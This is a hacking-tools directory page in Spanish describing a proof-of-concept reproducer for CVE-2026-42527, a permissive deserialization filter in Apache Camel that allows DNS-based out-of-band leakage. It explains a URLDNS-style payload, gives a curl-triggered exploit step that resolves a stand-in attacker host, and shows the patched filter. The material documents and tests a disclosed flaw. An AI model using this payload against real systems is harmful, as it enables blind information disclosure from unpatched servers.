Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42527 — Reproductor para CVE-2026-42527 — el ObjectInputFilter predeterminado permisivo de Apache Camel admite java.net.URL, lo que habilita un canal lateral fuera de banda basado en DNS. | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-42527
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosPruebas de PenetraciónAnálisis de DNS
GitHuboscerd/cve-2026-42527

CVE-2026-42527

Reproductor para CVE-2026-42527 — el ObjectInputFilter predeterminado permisivo de Apache Camel admite java.net.URL, lo que habilita un canal lateral fuera de banda basado en DNS.

Ver Repositorio
83hace 4 mesesAún no revisado
Compartir

Permissive Default ObjectInputFilter — Reproducción del canal lateral DNS (CVE-2026-42527)

Este proyecto demuestra la CVE-2026-42527 en Apache Camel. El patrón ObjectInputFilter predeterminado que varios componentes de Camel incluyen para el filtrado de deserialización por defensa en profundidad — java.**;javax.**;org.apache.camel.**;!* — utiliza un glob recursivo java.** que admite java.net.URL. java.net.URL.hashCode() realiza una resolución DNS del host de la URL, por lo que deserializar un HashMap (o cualquier colección que aplique hash a sus elementos) que contenga una clave java.net.URL provoca que la JVM emita una consulta DNS a un host proporcionado por el atacante durante la deserialización. La comprobación del filtro a nivel de clase se supera (el objeto resultante es un HashMap, que está en la lista de permitidos), por lo que nada lo detiene: un canal lateral de divulgación de información fuera de banda (no RCE).

Aviso: https://camel.apache.org/security/CVE-2026-42527.html

Resumen de la vulnerabilidad

PropiedadValor
Componentescamel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan y repositorios de agregación (camel-leveldb, camel-cassandraql, camel-consul, camel-sql)
DefectoEl filtro predeterminado java.**;javax.**;org.apache.camel.**;!* admite java.net.URL / java.net.InetAddress
CWECWE-502 (deserialización no segura) que deriva en divulgación de información fuera de banda / SSRF ciego vía DNS
ImpactoConsultas DNS observables por el atacante durante la deserialización (canal lateral de exfiltración de datos)
Versiones afectadas4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0
Versiones corregidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23372
ReportantesVenkatraman Kumar (Securin) y Yu Bao (PayPal)

Este defecto fue introducido por la serie de endurecimiento de deserialización (CAMEL-23297/23319/23321/23322/23324), que añadió el filtro predeterminado demasiado permisivo. CVE-2026-42527 lo restringe.

Detalles técnicos

Esta PoC utiliza camel-mina 4.18.2, donde MinaConverter.toObjectInput instala el filtro predeterminado directamente en el ObjectInputStream, por lo que el filtro es el control de acceso (un contraste limpio afectado-vs-corregido):

// MinaConverter.toObjectInput(IoBuffer) - afectado 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
        ? jvmFilter
        : ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));

El glob java.** admite java.net.URL. Al deserializar un HashMap<URL, ...>, HashMap.readObject() reinserta la entrada y calcula hash(key) → URL.hashCode() → InetAddress.getByName(host) → una consulta DNS al host del atacante. La corrección en 4.18.3 / 4.21.0 antepone una denegación:

// corregido
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";

Ahora java.net.URL se rechaza durante la deserialización (InvalidClassException: filter status: REJECTED) antes de que hashCode() llegue a ejecutarse — sin consulta DNS.

La mayor exposición real está en la familia camel-jms, donde JmsBinding.extractBodyFromJms llama a ObjectMessage.getObject() de forma incondicional cuando mapJmsMessage=true (el valor predeterminado). Esta PoC usa camel-mina porque es autónomo (sin broker) y el filtro está directamente en el flujo.

La ruta víctima

from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput (filtro predeterminado)
        Object obj = oi.readObject();                                  // HashMap.readObject -> URL.hashCode() -> DNS
    });

Cómo funciona la prueba (sin servidor DNS externo)

java.net.URL.hashCode() resuelve el host a través del resolutor de la JVM. Para observar esa búsqueda de forma determinista y sin conexión, la aplicación registra un java.net.spi.InetAddressResolverProvider personalizado (JDK 18+, JEP 418) que registra cualquier nombre de host que contenga el marcador del atacante y lo responde con un stub de loopback. Ver que el host del atacante llega al resolutor es el canal lateral fuera de banda activándose.

La carga útil se construye con el clásico truco ysoserial URLDNS: el campo cacheado hashCode de la URL se preinicializa para que insertarla en el mapa en el lado del constructor no resuelva el host, y luego se restablece a -1 para que la búsqueda ocurra solo cuando la víctima deserializa. (--add-opens java.base/java.net es necesario para esa reflexión — un detalle de construcción de la carga útil, no relacionado con la vulnerabilidad.)

CVE-2026-42527/
├── pom.xml                    # camel-mina 4.18.2 (filtro predeterminado permisivo)
├── Dockerfile                 # ejecuta la aplicación (--add-opens java.base/java.net para la construcción de la carga útil)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java        # víctima: consumidor mina -> ObjectInput.readObject()
    │   ├── PayloadFactory.java         # carga útil HashMap<URL> URLDNS (sin DNS en el lado del constructor)
    │   ├── ExfilResolverProvider.java  # servidor DNS stub (InetAddressResolverProvider) que registra las búsquedas
    │   ├── ExfilLog.java
    │   └── ExploitController.java      # /exploit/inject: envía la carga útil por TCP y comprueba la búsqueda DNS
    └── resources/
        ├── application.properties
        └── META-INF/services/java.net.spi.InetAddressResolverProvider

Requisitos previos

  • Java 17+ y Maven 3.8+ (JDK 21 para compilar — la prueba usa el SPI de resolución de JDK 18+)
  • Docker (ejecuta el reproductor)

Pasos de reproducción

Paso 1: Compilar e iniciar el contenedor

mvn clean package -DskipTests
docker compose up -d --build

Paso 2: Disparar la deserialización (canal lateral DNS)

curl -s http://localhost:8080/exploit/inject
# -> Se envió la carga útil HashMap<URL> a mina:tcp://127.0.0.1:5555
#    Host de la clave URL: dns-exfil-proof.cve-2026-42527.attacker.test
#
#    >>> Prueba del canal lateral DNS — el resolutor vio una búsqueda del host del atacante: true
#        búsquedas observadas: [dns-exfil-proof.cve-2026-42527.attacker.test]

true significa que la deserialización del HashMap<URL> del atacante resolvió el host del atacante — un servidor DNS controlado por el atacante vería esa consulta.

Paso 3 (opcional): Demostrar que la corrección / mitigación lo bloquea

Ejecutar con un filtro JVM-wide endurecido (que toObjectInput respeta, y que refleja la corrección de 4.18.3):

mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
     -Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
     -jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# luego:  curl -s http://localhost:8080/exploit/inject
# -> ... el resolutor vio una búsqueda del host del atacante: false
#    (el registro de la ruta muestra InvalidClassException: filter status: REJECTED)

Limpieza

docker compose down

Vectores de ataque

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    424
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    276

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →